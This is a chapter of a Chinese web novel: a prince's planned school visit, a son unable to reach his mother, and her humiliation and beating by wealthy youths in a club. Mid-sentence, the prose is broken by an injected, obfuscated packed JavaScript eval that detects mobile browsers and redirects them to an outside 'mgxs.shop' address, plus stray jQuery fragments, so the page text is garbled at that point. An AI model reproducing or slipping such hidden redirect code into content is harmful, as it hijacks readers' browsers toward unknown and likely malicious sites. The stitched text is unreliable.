亚联盟近年出台了一项教育扶持政策,皇室每年会挑选几所不算顶尖、但发展潜力不错的院校,投入资金与各类教学资源进行帮扶,以此均衡各地教育水平。
今年育英学院成功入选,拿到了皇室教育基金的扶持名额。
正巧学校的秋季运动会和学园祭安排在同一时间段,校方干脆将两场活动与皇室资助项目启动仪式合并举办,还特意邀请皇室代表到场参加开幕式,之后再参观学园祭摊位。
班主任站在讲台上宣布:“同学们,下周二运动会开幕式会有重量级来宾,二皇子周太焕殿下将代表皇室亲临现场,之后还会逛学园祭,学校要求所有人整理好仪容仪表,各班负责的摊位也务必提前筹备妥当。”
班里瞬间一片哗然。
“二皇子?是那位传闻里的二皇子吗?”
“他不是很少出席公开活动,怎么会来我们学校?”
李时缪原本趴在课桌上小憩,被周遭的嘈杂吵醒。
听了半天才搞清楚,是二皇子要来。
按理说这只是皇室一个普通的扶持项目,以往这类活动顶多指派几位官员到场撑撑场面,女王竟会让二皇子亲自过来,实在让人费解。
不过皇室的安排自有考量,也不是他需要琢磨的事。
梁昱凑到他身边,眼睛亮晶晶地问:“时缪,你认识二皇子吗?”
普通人这辈子顶多只能在电视上看见皇室成员,能有交集的少之又少。
“算不上认识,”李时缪淡淡回道,“只简单说过两句话而已。”
“那也很厉害了!”梁昱一脸羡慕,“等他来了,你能不能帮我要个签名?”
李时缪无奈地瞥了他一眼:“你想多了。”
就算是从前身份还没调换的时候,他和二皇子的交情也浅得很,根本没熟到能贸然索要签名的地步。
对方是身份尊贵的皇子,哪里是能随便上前搭话的。
梁昱失望地叹了口气,倒也只是随口一提,并没有真的执着。
今天轮到李时缪值日,他回家比平时晚了一些。
即便如此,温斯夜安排的送餐人员依然等在他家门口。
餐食全都稳妥地放在保温盒里,掀开时还冒着热气,一点没凉。
“辛苦了,谢谢。”
如今的李时缪待人处事比从前温和懂事了许多,懂得主动向服务人员道一声谢。
他接过餐食,却见对方没有立刻离开,便疑惑开口:“还有别的事吗?”
送餐的男人恭敬回话:“时缪少爷,大少爷让我问您,是否需要为您安排专属接送车辆。”
大概是今天他放学太晚,被温斯夜知道了。
李时缪想了想,还是拒绝了。
虽说有专车接送确实省心省力,但那样一来他和段星燃接触的机会就少了。
现在他还没和段星燃打好关系呢。
“暂时不用,以后再说吧。”
送餐人员点头应下,转身离开。
李时缪回到家中,吃完晚餐,将保温盒收好,打算明天让李颖曼转交回去,自有专人清洗打理。
至于洗碗这种事,他还是不想做。
李时缪本来就不爱学习,从前做温家小少爷时更是懒散懈怠,如今虽然好了一点,成绩依旧只维持在班级中下游。
写完作业、洗完澡,他悠闲地看了会儿电视,又躺在床上刷了许久手机。
一晃眼快到十一点,李颖曼却还没有回家。
虽说早上她就提过今晚要加班晚归,但李时缪总觉得还是问一句才能安心睡觉。
可电话拨出去后,无人接听。
“忙到连电话都没空接吗?”
他有些疑惑,却也没多想,只当她在忙。
等了十来分钟,他再次拨号依旧是无人接听。
不知道为什么,一股莫名的不安从心底涌了上来。
这一刻,李时缪心里满是懊恼。
他反省自己平日里对李颖曼实在太不上心。
他只知道她换了份新工作,却一直没问具体是在哪里。
只知道是大酒店,和大概的上班时间,其余一概不知。
心头的焦躁一点点往上涌。
他干等了几分钟,又一次拨通电话。
之后便一遍接一遍地反复拨打,听筒里只有单调的等待音,李颖曼一通都没有接。
这不对劲。
*
与此同时,会所最大的包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628520|206173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
厢里,灯光迷离,音乐劲爆。
一群衣着张扬的年轻男女挤在一起,笑声喧闹声混成一片。
而在包厢中央,李颖曼跪在冰冷的大理石地面上,整个人十分狼狈。
不远处她那只被砸碎屏幕的手机还在不停震动。
身前摆放着一只精致古朴的木盒,盒中原本盛放的瓷器已经碎裂成片。
可这瓷器并不是李颖曼打碎的。
她只是按照吩咐将木盒取来,对方打开后里面的瓷器就已经碎了。
然而不管她怎么解释,这群人都不相信,只当她在狡辩。
冰凉的红酒顺着她的发丝、衣襟不断往下淌,浑身湿透的她止不住地瑟瑟发抖。
一群人团团将她围住,站在正中央的少年满脸倨傲,眼底盛满不屑与怒火:"都怪你打碎了我精心准备的礼物,害得我特意邀请的人直接不来了!"
李颖曼浑身都在发抖,声音颤得不成样子:"对、对不起客人……对不起……"
在此之前她就已经被这群人百般刁难,被逼下跪受辱,还被当众泼了满身乱七八糟的酒水。
而这名少爷刚接完一通电话后,怒火直接冲到顶峰,抬手就狠狠扇了李颖曼一个耳光。
李颖曼直接被扇倒在地,半边脸瞬间肿了起来。
"你知道我费了多大功夫才请到那个人吗?"赵少爷的怒火显然不止是因为一件瓷器,语气里掺杂着被驳了面子的羞恼,"那可是戚砚澈!我好不容易才把他约来,全让你给毁了!"
李颖曼耳鸣目眩,脸颊火辣辣的疼,根本说不出话来。
赵少爷犹不解气,弯腰捡起那台屏幕碎裂还在不停震动的手机,看到上面备注的"儿子"二字,嘴角勾起一抹戏谑的笑:"看来你儿子还挺担心你,不如把他也叫来,一起陪我们玩玩?"
这句话击溃了李颖曼的防线,她不顾一切撑着地面爬起来,狼狈地跪行到男生脚边,带着哭腔苦苦哀求:"客人,求求您,我赔钱,我一定全额赔给您!求求您别叫我儿子来……"
"就凭你们这些穷逼,也赔得起我的东西?"男生满脸讥讽,抬脚将她踹翻在地。
然后他划开手机接通了电话,接着漫不经心地点开了免提……